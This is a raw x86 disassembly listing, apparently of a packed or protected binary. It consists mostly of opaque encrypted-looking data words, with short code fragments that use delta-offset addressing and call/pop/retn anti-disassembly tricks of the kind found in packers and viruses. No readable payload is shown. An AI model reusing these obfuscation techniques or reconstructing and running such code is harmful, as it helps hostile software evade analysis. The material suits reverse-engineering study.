		dd 0FF37E961h, 0C018FFFFh, 0BD6CE064h, 57045A9Fh, 117D3997h
		dd 90BCCE8Bh, 0AE8h, 0F9347900h, 7B893C76h, 6633F1ACh
		dd 5A7264BFh, 14E9h, 26F59600h,	7B5DDF47h, 0F970D10h, 70DE3CDDh
		dd 371E904Dh, 1C2814Dh,	0F900006Dh, 1B22BEh, 6632FF00h
		dd 5889CAB9h, 9B2163BBh, 5AE88179h, 666F633Fh, 81E189BFh
		dd 4B1C1BE8h, 0BB66502Ah, 815958C2h, 7E48E2F0h,	830F5055h
		dd 3, 8FD98B66h, 82E6BF02h, 0EA833107h,	0CBBF0F04h, 0BA850F4Eh
		dd 0FFFFFFFh, 8D8DC8B7h, 5D6D02Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0F9C35646h,	0F4B08B4h, 95ADD041h
		dd 65D38166h, 218D895Ch, 6A05D110h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 8C79C350h
		dd 9D8B77FBh, 5D1264Dh,	1C0985C7h, 6FF805D1h, 81660000h
		dd 66104EC8h, 0C73E5CBAh, 0D1067985h, 5, 0BD296000h, 5D1181Dh
		dd 1A998D8Bh, 0FF6105D1h, 0D106D9B5h, 0B58B6005h, 5D13119h
		dd 2AC1B58Bh, 0FF6105D1h, 0D10EDD95h, 11E905h, 0E0E90000h
		dd 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 6A620C9Ch,	5995FF00h
		dd 8B05D124h, 3D0CEBC0h, 0E778DD73h, 27168F73h,	0EB668A3Bh
		dd 8, 0AD4B1100h, 45DE910h, 4B680000h, 0E905D6D1h, 0FFFAABE3h
		dd 0D6D1DC68h, 0ABD9E905h, 668FFFAh, 0E905D6D3h, 0FFFAABCFh
		dd 61BAD129h, 5853EC0Ah, 0B06B027Dh, 0A6011C65h, 801B364Fh
		dd 0BFC47625h, 0D22209A2h, 0F00B6245h, 0D775E59h, 4607B972h
		dd 0D7B54A4Bh, 4F1ACD66h, 0B50411BCh, 0D18366D7h, 4045062Eh
		dd 0E9B8412Dh, 0AE84B9DAh, 0F3E0AF6Ch, 946CAE84h, 0EF90C2C6h
		dd 8A2D3E44h, 41108ECAh, 7FA50E42h, 0BDB8972h, 7FA4898Eh
		dd 64830772h, 680572F1h, 743DE684h, 4B7CEA5Ah, 2B55Fh
		dd 0C4F6D300h, 8C5D510Fh, 0B8A92156h, 0A7452942h, 80913279h
		dd 29C558ADh, 0CAF980B3h, 727FA59Eh, 0D2065C8h,	0A844D520h
		dd 0E5B70132h, 0CB55DB8h, 0BA966FE5h, 129E35C4h, 0B575B613h
		dd 4C4312E7h, 75B6134Fh, 0F3F99AC8h, 0DCAD217Fh, 874B2AF1h
		dd 0EAFFAD7Bh, 4962FD07h, 84071862h, 0E0700FE8h, 0BFE2FBA9h
		dd 0E000002h, 6B4265F2h, 52B9720Dh, 0BA910A23h,	0AC87203Dh
		dd 1AE13A57h, 4DE02555h, 64F3036Ah, 78116843h, 1D2E54BFh
		dd 6827E69Ah, 66D7B46Bh, 2C713BECh, 246B7E74h, 72855574h
		dd 34FCF8E2h, 0BE7DAE5Ch, 0F1FD8CF7h, 1240486Bh, 8495E04Fh
		dd 0C6BDDEF5h, 85A7284h, 689D9057h, 0D42904D5h,	138DBB31h
		dd 0EC9201F0h, 0C3A5B61Dh, 70227284h, 0FE076E4Fh, 63939E63h
		dd 0B3950ABh, 16DE815Bh, 84C3858Bh, 3A55AF72h, 729695C1h
		dd 950FCE9h, 22Eh, 0D1CA6199h, 0C8E37CFAh, 20FB92EDh, 1691ACD5h
		dd 70ABC63Fh, 4FB4E6B5h, 6292F932h, 80FBD2D5h, 9DE7CEE9h
		dd 0D6972982h, 0D7B3DAFBh, 82AA7D66h, 6B7E742Ch, 26D74473h
		dd 0A1522716h, 4327EBA6h, 8E517285h, 85431203h,	3CE7B572h
		dd 0DBE68EDCh, 728542B6h, 0FC37EE58h, 4B7750E2h, 15DC7h
		dd 58770600h, 72854B3Bh, 58A78EDCh, 84BF2DC1h, 2C3F4598h
		dd 0F39FE540h, 0DF6E8989h, 0CFA75517h, 84C6F1Dh, 8F5250h
		dd 727F9B80h, 0BECF2A07h, 6E0634B6h, 7F9C2E23h,	0BF66A072h
		dd 7CF76A04h, 334F4Bh, 2CE30000h, 246B7E74h, 727F9750h
		dd 0CCC9A5F7h, 727F96CBh, 0D52F0245h, 37C2D132h, 590F372Bh
		dd 2C164A6h, 4B7CEC6Ch,	0FE8DE944h, 0B14B74F6h,	9Eh, 0EA0A19B5h
		dd 81FBA25Dh, 0E21B06EEh, 40BAA74Fh, 0A0DA472Fh, 969D2C8Fh
		dd 4C1ED667h, 8A052893h, 0D52F6CAEh, 256361BAh,	1EF5D8A9h
		dd 0B9728229h, 0F20BE6EBh, 2944517Ch, 156E7282h, 12F67478h
		dd 32199240h, 5D53B4C9h, 54E97531h, 104A1B8h, 37430000h
		dd 52AC8720h, 6897FE39h, 82FFD6D1h, 9CE1CCEFh, 105F2681h
		dd 0AF08255Eh, 88233844h, 0E4C756ADh, 0DFD87389h, 0B0ADE0A1h
		dd 5766D7B1h, 0A19B480h, 0B79252EBh, 0AD3F374Ah, 2459C4FFh
		dd 8FF57809h, 496AF0FCh, 64F70D68h, 3F456943h, 9FE5402Ch
		dd 0EFA92B8Ch, 0F603EEF3h, 2ED18B5Bh, 0D220745Bh, 0F5A7727Fh
		dd 59F409E4h, 0D1C2D75Eh, 92E8727Fh, 0D1E6F7DAh, 3361727Fh
		dd 3A43AA0Dh, 0A5DF5227h, 0A488DA8Ah, 5CE394CDh, 402CD785h
		dd 7119h, 56190B00h, 0AE855A7Bh, 0F4AFFD6Ch, 470A88C0h
		dd 0F1FD8EE8h, 12B1486Bh, 72855542h, 2EDF97C5h,	35EB134h
		dd 0F0A31D1Fh, 0FB3C4FB5h, 1DD16A90h, 56B490h, 1ACDBB88h
		dd 87F1A1DBh, 0D2E5C6F4h, 670F225Fh, 2953DA85h,	86F35E16h
		dd 0DE1EFBEBh, 0BDB1C636h, 8875792Fh, 0A617DF6Ch, 16A315D0h
		dd 669C5590h, 81FBD2D5h, 3E706EEh, 49000000h, 3D45190Bh
		dd 0A1DB462Eh, 7BE68Eh,	5C988569h, 0C13A27CFh, 2065C0ACh
		dd 7B84610Dh, 0D4230EE6h, 324CA945h, 68B25519h,	7C10h
		dd 68242C89h, 3AB6h, 68242C89h,	26EDh, 53243489h, 1C682ABBh
		dd 0B846BD40h, 0DD3145CAh, 81241C8Bh, 4C4h, 7F746800h
		dd 24890000h, 24048324h, 0EC815E04h, 4,	81242C89h, 3DBE2434h
		dd 468F2CC0h, 8768108h,	2CC03DBEh, 5E2434FFh, 4C481h, 2C8B0000h
		dd 0E0895024h, 405h, 40500h, 4870000h, 94E95C24h, 85FFFAA7h
		dd 0B847F076h, 5D6D42Fh, 0E0FFC503h, 3143988Eh,	31737350h
		dd 4CA82801h, 12FDF66Ah, 3946C7F0h, 4AEAA2ABh, 318F3268h
		dd 302C5E2Fh, 6D34EE88h, 6155DE0Fh, 5C77A2A4h, 24AA0DA8h
		dd 35DCA899h, 4F0A0165h, 566980C8h, 72B9ED7Ch, 2E2ACFE2h
		dd 10B170EFh, 0CE1AE08h, 607CEDBCh, 7C27678Ah, 238546D1h
		dd 2EC4414Dh, 7058E7E7h, 0CB440CEh, 42C803E0h, 23C7EF36h
		dd 7AF8263Dh, 9E8h, 37EF1700h, 2CFC3964h, 880F2AB1h
		dd 4, 697EBE66h, 6FC08158h, 66000067h, 224DF181h, 19A968h
		dd 0CE800h, 0FD4D0000h,	89226C6Fh, 0F224B2D1h, 5A5B7AA1h
		dd 880F388Bh, 2, 0F781D3B3h, 2D79865Eh,	10E9h, 0E1597700h
		dd 24B9CDF8h, 0DAA768F3h, 2A86042Bh, 59EF81B8h,	0E967A3CAh
		dd 11h,	0A173C171h, 0A09DDAA9h,	0EB030007h, 1E12F53Ah
		dd 2AC78181h, 8A15D48Eh, 0C88A57DCh, 8166008Fh,	83E22EC1h
		dd 0AFBE02E8h, 48390292h, 4ACE8B48h, 23850Fh, 0FE90000h
		dd 0EE000000h, 0D1EF6128h, 3D139038h, 5A1A1A5Ah, 19E971F1h
		dd 0B9000000h, 2278A2CCh, 9DEE71Dh, 0E9FDB54Bh,	0FFFFFF70h
		dd 0F1A4C69Eh, 8144D31Bh, 7E8h,	10B81F00h, 7CC1F0A0h, 8840Fh
		dd 8B0F0000h, 2, 805963B4h, 0C18131F0h,	6B38h, 6100B866h
		dd 1AA868h, 81665300h, 5A202EF2h, 8BF08A5Bh, 0F4CCBA31h
		dd 0EE810FBEh, 58335C8Ah, 6E9h,	6021BA00h, 813366B0h, 0CB0592C6h
		dd 0C081665Eh, 0C681FF13h, 6521D37Ch, 7E8h, 0E4BF2C00h
		dd 5F1EA8F3h, 0A2F08166h, 31895F92h, 0E983E0B2h, 4BD38B04h
		dd 10850Fh, 0F98B0000h,	18E9h, 0EA6BC900h, 0FB840491h
		dd 0B70F47CFh, 0FF9DE9C6h, 6D19FFFFh, 0B5E6FCEBh, 83C08B8Eh
		dd 0D11671BDh, 9750005h, 121DBD83h, 740005D1h, 8B535019h
		dd 421B8C0h, 85890000h,	5D11409h, 0A1CD9D8Dh, 0D3FF05D3h
		dd 0BD83585Bh, 5D1121Dh, 50177400h, 421B853h, 85890000h
		dd 5D11409h, 9EBC9D8Dh,	0D3FF05D3h, 0C08B585Bh,	10799D8Bh
		dd 85C605D1h, 5D124D9h,	0B8526856h, 0B5FF9CA8h,	5D124FDh
		dd 5CA1858Dh, 0D0FF05D4h, 68046Ah, 0FF000010h, 0D13225B5h
		dd 0FF006A05h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 5D16FC0h
		dd 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch
		dd 0D10BB5BDh, 840F0005h, 0Eh, 0BB59D8Bh, 858B05D1h, 5D10965h
		dd 52510389h, 4120858Dh, 0D0FF05D1h, 0F18BFA8Bh, 0C88BD18Bh
		dd 85C6A4F3h, 5D124D9h,	6D396856h, 0B5FFD41Fh, 5D124FDh
		dd 5CA1858Dh, 0D0FF05D4h, 800068h, 52006A00h, 0C08BD0FFh
		dd 1671BD83h, 750005D1h, 1DBD8309h, 5D112h, 53501974h
		dd 21B8C08Bh, 89000004h, 0D1102D85h, 349D8D05h,	0FF05D3A2h
		dd 83585BD3h, 0D1121DBDh, 17740005h, 21B85350h,	89000004h
		dd 0D1102D85h, 0D59D8D05h, 0FF05D39Eh, 8B585BD3h, 0B59D8DC0h
		dd 8B05D10Bh, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h
		dd 0CE800h, 92F20000h, 1A6A7374h, 8928C6CAh, 0BB6613FFh
		dd 66583CA4h, 77F3E781h, 747CC081h, 0F3810000h,	75C35ECFh
		dd 68h,	6E800h,	0DE0D0000h, 0DC99C157h,	5A5AE780h, 95E78059h
		dd 0B60134FFh, 0BB665EABh, 0C6811149h, 1E32D04Fh, 0F681F0B6h
		dd 5538D016h, 1A3FE781h, 0C6813EEFh, 4B635CE7h,	51083489h
		dd 0F97426BBh, 0B70F5F1Ah, 2E983FEh, 4949FFB7h,	0FE9h
		dd 386DF00h, 26F33A51h,	38D34F65h, 0DF2A9732h, 8C14F981h
		dd 850FFFFFh, 0FFFFFFA8h, 0AE8DF8Bh, 0B000000h,	0A449C6EDh
		dd 0AAE07272h, 0CF816641h, 535B163Bh, 5EFFB70Fh, 7098C381h
		dd 0BF660000h, 0BAF022h, 0F000000h, 34FFF8B7h, 0B820F1Ah
		dd 0F000000h, 586h, 0A878BF00h,	0E8597DADh, 5, 0CDB944CBh
		dd 0E68166F0h, 8158865Eh, 0F57680F1h, 81FA8B49h, 803BAF1h
		dd 0E981F90Bh, 51184D6Ah, 8850Fh, 8A0F0000h, 2,	0F9516160h
		dd 8113048Fh, 708DC4EEh, 83F88B7Ch, 890F02EAh, 9, 3820Fh
		dd 8B660000h, 8B4A4AF2h, 4FA81F3h, 0FFFFF90h, 0FFFF8985h
		dd 0E874B0FFh, 0Ch, 35593300h, 0E0E1B1C5h, 27530B03h, 0BF0F5BF5h
		dd 24C381C3h, 66000059h, 68BDBDBAh, 1616h, 8E851h, 6F490000h
		dd 1C44C0B8h, 13E8BEE3h, 16000000h, 8DAE5E10h, 0A25B1306h
		dd 35C7DEFDh, 4E80B363h, 5A5EDEF4h, 81665F5Ah, 8BAB5BD8h
		dd 48C1810Bh, 6640AC2Eh, 0EEFDD681h, 617F181h, 0E8500C60h
		dd 0Bh,	10AFC950h, 0F4992951h, 601C7F03h, 815A5E61h, 0C78D93F1h
		dd 3FB86617h, 9E95162h,	0D8000000h, 9C172B6Bh, 421558B7h
		dd 850F038Fh, 19h, 138B0Fh, 0EE90000h, 41000000h, 0AA622E9Ah
		dd 8CC636CBh, 18EAC0DEh, 8AEB81B7h, 0BE190F7Ah,	709968EFh
		dd 7A86C381h, 8166190Fh, 83AA42F0h, 850F01EFh, 0FFFFFF7Fh
		dd 3BE9h, 0BD8B6000h, 5D11E2Dh,	3304EF83h, 0BBC18BC9h
		dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
		dd 41FFFFFFh, 0F9810789h, 100h,	0FFD3820Fh, 0C361FFFFh
		dd 8D8DC88Bh, 5D6DB51h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 9DC35040h, 9FB5EE7h, 0BEE3816Eh, 0E90A1050h
		dd 0Bh,	0C8B1BAC1h, 6917AE88h, 23A5AC8Fh, 0D110FDBDh, 218D8905h
		dd 6A05D110h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0B56FC355h, 0F26034Dh,	85C7F2BFh
		dd 5D11C09h, 63C8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 8FC35646h, 0BD236B5Dh, 5D11891h, 67985C7h
		dd 5D1h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 170424h, 56460000h, 0F34252C3h, 0D1B5FFCEh, 6605D11Dh
		dd 7B04D781h, 0EDD95FFh, 6A05D1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 95F859C3h, 3CBAE681h
		dd 6A1A2Bh, 245995FFh, 0C08B05D1h, 80864BEBh, 0D7AAE69Bh
		dd 7FA85A3Bh, 9D1D106Bh, 0AE391619h, 9832CB76h,	150920A1h
		dd 0EB461CB9h, 2419AB1Fh, 29D16E53h, 4D6B3A19h,	0F964F7E9h
		dd 0D4749DC6h, 5B743A88h, 0D093DF5Dh, 1542944Fh, 79CD3804h
		dd 977FB8Ch, 2CC99F82h,	2AE90Ch, 4C70000h, 24h,	0E800h
		dd 815D0000h, 0D6DBB2EDh, 24448B05h, 0CD858904h, 0B805D10Eh
		dd 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+5D14CBDh]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		lea	ebx, [ebp+5D130D9h]
		mov	eax, 11DCh
		mov	[ebp+5D11869h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5C8BFC
; ---------------------------------------------------------------------------
		dd 477h	dup(0)
; ---------------------------------------------------------------------------


loc_5C8BFC:				; CODE XREF: ud2_____:005C7A1Bj
		lea	ecx, [ebp+5D6EEA5h]


loc_5C8C02:				; CODE XREF: ud2_____:005C8C28j
		movsx	eax, bx
		mov	ah, ch
		mov	[ebp+5D11021h],	ecx
		push	0
		push	esi
		call	sub_5C8C18
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8C18	proc near		; CODE XREF: ud2_____:005C8C10p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C8C18	endp

; ---------------------------------------------------------------------------
		jbe	short loc_5C8C02
		mov	ebp, 0EEB39153h
		daa
		mov	di, 2A1Ch
		mov	dword ptr [ebp+5D11C09h], 70B8h
		mov	al, 0A6h
		mov	dword ptr [ebp+5D10679h], 0
		push	0
		push	ecx
		call	sub_5C8C55
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8C55	proc near		; CODE XREF: ud2_____:005C8C4Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5C8C55	endp

; ---------------------------------------------------------------------------
		db 2Dh,	85h, 90h
		dd 0D3B8F806h, 0BF0F1B73h, 4DB5FFD0h, 6A05D127h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 44B5C352h, 0F52D3A73h, 8B6D64EBh, 0D10A8DBDh, 0DD95FF05h
		dd 6A05D10Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 3A7C356h, 6A2F00h, 245995FFh
		dd 0C08B05D1h, 501848EBh, 0F6DB88ABh, 0A0F35C0Ch, 3E312BBDh
		dd 5AB64611h, 0A26A4B65h, 0CB1D1EB6h, 1434CE13h, 0ED52F287h
		dd 10BEE167h, 69219576h, 5E57F521h, 0E96D97EBh,	8FEF0D7h
		dd 0B0387165h, 4D7B182Eh, 0DEB83DF9h, 40EBF114h, 53E9096Fh
		dd 0B2000034h, 9FF63146h, 86EDCE61h, 0EEC5E677h, 0D03BFC91h
		dd 0AE1596ABh, 19344901h, 3047B79Eh, 0D4659CF7h, 0E982F8D3h
		dd 0DCF3B2CEh, 66D796BFh, 19A58F58h, 905CF10Ah,	9C9829CAh
		dd 53EC0A19h, 324BB693h, 0D9FAA832h, 24082552h,	262DFD19h
		dd 7D679D75h, 45BE9A42h, 0D05F2239h, 609F96ABh,	9C4725C9h
		dd 45180490h, 19002C3Fh, 855A7B56h, 0AFFD6CAEh,	453834F4h
		dd 8DD50139h, 654A254Dh, 64745F00h, 0E36CAD9Fh,	5619FDB1h
		dd 78EA1DBh, 6CAE8516h,	85504D40h, 0A5F76CAEh, 896EFF25h
		dd 0D2097230h, 67F6012Ch, 451B01BCh, 0D05F2239h, 0DDF97A4h
		dd 0A19CA52h, 0BBA152EBh, 0EA0A195Fh, 81FBA25Dh, 4EA96591h
		dd 8765093Fh, 84BEDFF2h, 0B596CAEh, 4504C965h, 0F1DC90EEh
		dd 6CAE84E4h, 63033163h, 0D15EC6F9h, 7EE9649Eh,	0E3F1AFABh
		dd 7DE7430h, 223945CFh,	90A9D05Fh, 0CF550EDCh, 5FF00A19h
		dd 0B54473A4h, 0AE84FD1Eh, 17C89A6Ch, 0F33F450Dh, 6CAE84DFh
		dd 0D87A2A78h, 7608F6D4h, 2E27DFBh, 0CDEA2258h,	9DB0C73Eh
		dd 3B45BAE2h, 98E14C20h, 0E98E985h, 0ECC061D7h,	19CF07DEh
		dd 77C3FFDh, 834ABCC8h,	0AE43F9DDh, 99B0CF2Fh, 116DC8EBh
		dd 0E5CF2A7Ah, 5DEA0A19h, 49278527h, 550ED418h,	0AEA0F86Eh
		dd 73836E6Ch, 0A15208E4h, 0EF0A19FBh, 81FEA55Eh, 561940ECh
		dd 0AE855A7Bh, 0F4AFFD6Ch, 3C45C923h, 18040D21h, 0A170FAF6h
		dd 0AE84F1E2h, 1BC4966Ch, 0DE1B0911h, 3C45CF07h, 0C0171AA9h
		dd 59D46F4Ch, 0C9650B22h, 3C45E5CFh, 0A190D21h,	0C99353ECh
		dd 0F6E24E16h, 91B2CFBh, 45CF07DEh, 190D213Ch, 915DEA0Ah
		dd 0AD8728CBh, 245E3C45h, 0D3815B0Bh, 7B561953h, 6CAE855Ah
		dd 7971AFFDh, 0D2CD1CDh, 0AC8829CAh, 25524045h,	0D0866408h
		dd 4518045Ch, 0D1D40E40h, 2EA9E302h, 2C296475h,	0AB6CADD1h
		dd 0DBFFC6F9h, 7C6CADD0h, 58142751h, 0D850DC82h, 0F24045D4h
		dd 6CAE84DEh, 0D87B2B79h, 0DEF0BCD4h, 4045CF07h, 0AE84DEF2h
		dd 7B2B796Ch, 0ACE3B2B5h, 6CAE84AFh, 4DC7A28h, 0F5FA9CAEh
		dd 454BD182h, 0D05F2239h, 2D894A5h, 0D4D8CB51h,	7F0E4045h
		dd 0AE854350h, 0ED96C46Ch, 0AE84F2E6h, 6FC7956Ch, 41BFB2B5h
		dd 452F752Eh, 0D8012D40h, 2D4045D4h, 0C7D4D801h, 0CF07DEDDh
		dd 12D4045h, 4045EFB5h,	6F0DD40Eh, 0A694810Ch, 61336CADh
		dd 4102ED3Bh, 7F23379Eh, 0D5A46CAEh, 7E8E8F02h,	5B096CAEh
		dd 0AE7F696Ah, 0B8C3EE6Ch, 3CCDF3A1h, 0BFB7C631h, 64715C2Dh
		dd 0E36CAE7Fh, 19A68EB1h, 965EEF0Ah, 0C1F59D4h,	0CFD9FA60h
		dd 2F3E45E3h, 0EA0A1907h, 28CB915Dh, 3E459C90h,	0A0DA472Fh
		dd 84F4E1ACh, 0C1936CAEh, 0D5B35313h, 43E9AC12h, 5FF00A19h
		dd 3C362A4h, 0DEF24045h, 796CAE84h, 0EFB57B2Bh,	5C2D4045h
		dd 60B7AC26h, 0FB5AF6Bh, 9D43D6Ah, 34702389h, 53EC0A19h
		dd 45250FA0h, 19012D40h, 2553EC0Ah, 0D7130FE3h,	1CD8FB3Ah
		dd 5D394530h, 7C116A28h, 28C4EA70h, 4A08CB2h, 7B561918h
		dd 6CAE855Ah, 0A9F4AFFDh, 19743853h, 0A45FF00Ah, 3945AB81h
		dd 0FD190222h, 0A9D4638Eh, 12904347h, 5D394522h, 0F9640823h
		dd 17C5EB82h, 45773D1Fh, 0B245240h, 773DC965h, 7DE7D27h
		dd 223945CFh, 45D2C202h, 8E8F023Ch, 0A46CAE84h,	9DCFC358h
		dd 773D47EFh, 5C2D4045h, 6CCFA026h, 0E88BD661h,	45D2C24Ch
		dd 8235D39h, 5CD08664h,	3945D4D8h, 0AE84DDFDh, 4287A6Ch
		dd 5A7B5619h, 0FD6CAE85h, 3834F4AFh, 53A984CBh,	8DB63438h
		dd 0CF07DEA7h, 2223945h, 3945EFB5h, 0A3275F22h,	0E1566FB1h
		dd 0C457AD80h, 5619111Bh, 0AE855A7Bh, 86AFFD6Ch, 5802E27Bh
		dd 451E76A7h, 0D8072F3Eh, 9837C689h, 6CAE847Bh,	56474E1Ch
		dd 0F16CAE85h, 45B4F0A3h, 84DEF240h, 2B796CAEh,	0F6EFB57Bh
		dd 40454271h, 0AE84DEF2h, 7B2B796Ch, 3F45EFB5h,	0AE84DFF3h
		dd 7A2A786Ch, 0A16D89D8h, 0A6DFC155h, 45F0BC67h, 527DA540h
		dd 0E96391B5h, 0EFB56B3Bh, 53EC0A19h, 8512038Eh, 0E7B56CAEh
		dd 710C713Ch, 0E1F2D160h, 666CAE84h, 0CF210B34h, 2D4045E5h
		dd 45180401h, 84DEF240h, 54796CAEh, 8B511D2Eh, 0D4D849E5h
		dd 2223945h, 594BD4D8h,	5A7B5619h, 0FD6CAE85h, 0F332F4AFh
		dd 0E404533h, 9E41D823h, 0AE852337h, 0BEF6A46Ch, 44BFB2B5h
		dd 0F0A33935h, 524045B4h, 0CC601627h, 0BAF6D4D8h, 19594B6Dh
		dd 34F883FDh, 410AB0C9h, 0E7AABF1Ah, 6CADA5F6h,	8E10C391h
		dd 40459F57h, 0EFB5012Dh, 0DE797B2Ch, 4045CF07h, 0D4D8012Dh
		dd 0B342ACF6h, 0A42942BCh, 6CAE84B7h, 0CB510250h, 7DED9CBh
		dd 2D4045CFh, 45EFB501h, 0CF012D40h, 2C3F45E5h,	19180400h
		dd 0D52CEC0Ah, 46ED9644h, 0D803233Ch, 0F24045D4h, 6CAE84DEh
		dd 0D87B2B79h, 0DED9CBD4h, 3F45CF07h, 632FB1A4h, 9A483886h
		dd 0C1D58D7h, 53D9FA60h, 3F45EFB5h, 0AE84DFF3h,	0CBC6896Ch
		dd 6CAE84CAh, 0C9E11F4Dh, 8A55815Ah, 456A25Dh, 0EC81FE75h
		dd 0F3B95A00h, 20F00A19h, 0DD9147D4h, 7448FA87h, 52BB2D1h
		dd 45624E5Ah, 0D8012D40h, 0CC619A89h, 44B0913h,	853D5E75h
		dd 88DA6CAEh, 7DE4DD7h,	0F33F45CFh, 6CAE84DFh, 0B57A2A78h
		dd 0EA0A19EFh, 0BD92A25Dh, 9207DEBFh, 0C6EF9668h, 641FA919h
		dd 2C3F4538h, 16078A5Dh, 0B16CAE85h, 0D87430E3h, 0DBF8F6D4h
		dd 3C46ADBCh, 0DE347023h, 3F45CF07h, 0A9D65D2Ch, 0B541EB94h
		dd 0F3F45EFh, 0AE849380h, 0B066346Ch, 0EF0A19FCh, 0AE46D521h
		dd 0C660E3Ch, 0B1534AF1h, 0F4AF5D7Fh, 3F45C923h, 4504002Ch
		dd 0A15CC819h, 1C9EC457h, 0E572A8B8h, 9E15432Ah, 453E6619h
		dd 3D002C3Fh, 0D503302Ah, 0A55565E5h, 0A19B2FAh, 0D4965EEFh
		dd 0D2F7002Bh, 314D4E0Eh, 41CAFC1Ah, 0BADD9E9Ah, 0E39198BBh
		dd 369D2C3Dh, 6CADC225h, 65CFF0A2h, 5A7B5619h, 0FD6CAE85h
		dd 0E48AA7D0h, 0F271083Bh, 2B377E87h, 0F68EF805h, 2E151FC0h
		dd 0CF07DE06h, 2C3F45h,	71FC8FC2h, 0EE7C700Bh, 0AE84F6E7h
		dd 10C3916Ch, 0EA0A1914h, 81FBA25Dh, 86973ACDh,	16CAE84h
		dd 85617253h, 0B4E66CAEh, 2A3DAE86h, 0CEA6B9C7h, 1939631Ch
		dd 855A7B56h, 0EA76CAEh, 35F2C0E9h, 13CC9E72h, 0D05CED08h
		dd 3A45773Dh, 99E64323h, 67B7E884h, 60FB01C0h, 0DEBC98B2h
		dd 3F45CF07h, 0A8D65D2Ch, 520DDF97h, 0F00A19CAh, 2AD5975Fh
		dd 3E459884h, 1804072Fh, 0D40E4045h, 2827928Dh,	55E81DF3h
		dd 621DC399h, 0ADB6779Bh, 0BF42106Ch, 0D364BB0h, 45D4D827h
		dd 84DFF33Fh, 55786CAEh, 0C262102Bh, 5DEA0A19h,	0A700BA2h
		dd 5EDA325Eh, 0E1F2D17Eh, 666CAE80h, 0D75D0634h, 200F3F45h
		dd 349F40D9h, 6CAE8524h, 0DE6F8EA3h, 8EA65416h,	0A19D4D8h
		dd 0D4965EEFh, 0E940B32Bh
		dd 7DEF7BDh, 0CFCCC392h, 486CAE84h, 6052FC1Ah, 0D995B312h
		dd 3F457E26h, 0AE84DFF3h, 7A2A786Ch, 3E45EFB5h,	0AE84E0F0h
		dd 7935676Ch, 0E79FD19h, 3BC04BC9h, 0F6AC8018h,	44B3BD8h
		dd 5C2F40DEh, 8BB4A4A4h, 0CF07DEA1h, 0E0F03E45h, 676CAE84h
		dd 0F83E2435h, 0AAC53353h, 0FAC4120Ch, 0B2B553D9h, 762940BFh
		dd 0C1EEF62Eh, 0E0F03E45h, 676CAE84h, 0EFB57935h, 72F3E45h
		dd 3F45E5CFh, 1804002Ch, 0AE8481E5h, 68FFAA6Ch,	84E9EAD9h
		dd 3C6E6CAEh, 0FD191903h, 0C4398978h, 0B63A73A9h, 0FC2BFBA4h
		dd 0A43F45C4h, 635D5D93h, 69C5EB9Bh, 4AB5B8CFh,	45240033h
		dd 2826533Fh, 0AE847865h, 9F4D1F6Ch, 0E5CF45E9h, 31A83B45h
		dd 0AEFCEB07h, 6F6C2336h, 0E86CAE57h, 49894BAh,	0F00A1918h
		dd 2AD5975Fh, 0DC25F503h, 1161A9C9h, 681E1578h,	1804EABAh
		dd 0AF30B6E5h, 3945FD6Ch, 9EE74222h, 3C8AE383h,	0B79B57E9h
		dd 45CF07DEh, 0D251203Bh, 79E488A5h, 9A456B02h,	45E5CF92h
		dd 3D022239h, 203B4577h, 2CD2C20Ch, 3B45797Bh, 18040C20h
		dd 0EAA73E45h, 8B51244Ch, 19C9650Bh, 0D623F10Ah, 331ABBBh
		dd 0FA89450h, 0CF07DE25h, 0C203B45h, 7DEE5CFh, 2F3E45CFh
		dd 19180407h, 1FD22C56h, 0F58A0772h, 0AE67FB18h, 15CE9C6Ch
		dd 0EA6F9AAEh, 85F91F6h, 85494A79h, 1A636CAEh, 2ED18307h
		dd 0CF07DE06h, 5CF10A19h, 0ED7EF8A3h, 53EA111Ch, 0E16C993h
		dd 0A19E5CFh, 0CA905CF1h, 5AF30229h, 191804CAh,	855A7B56h
		dd 27FD6CAEh, 68425E90h, 1DC6F471h, 8356E716h, 363E53ACh
		dd 3DA18BB4h, 2F3E4577h, 1773D07h, 7B561913h, 6CAE855Ah
		dd 95A6D0FDh, 0A25D03D9h, 450DC560h, 0C203233Ah, 2D4045D2h
		dd 45180401h, 0D8012D40h, 0CA29F6D4h, 0A9D75A2Dh, 0DE47ED96h
		dd 0A19CF07h, 0FAA152EBh, 0B540EC81h, 7F8CF6EFh, 23524045h
		dd 0AD805A0Ah, 0B12B3B52h, 0EFB5A383h, 0DEF24045h, 796CAE84h
		dd 89D87B2Bh, 14CF609Ah, 26CF608h, 856F0B73h, 7F0CC3EBh
		dd 0ADB28596h, 0AF50026Ch, 0DE594B85h, 4045CF07h, 0AE84DEF2h
		dd 262B796Ch, 0F1F12F3Ch, 6B14A7AEh, 2EFD19C1h,	0D924745Fh
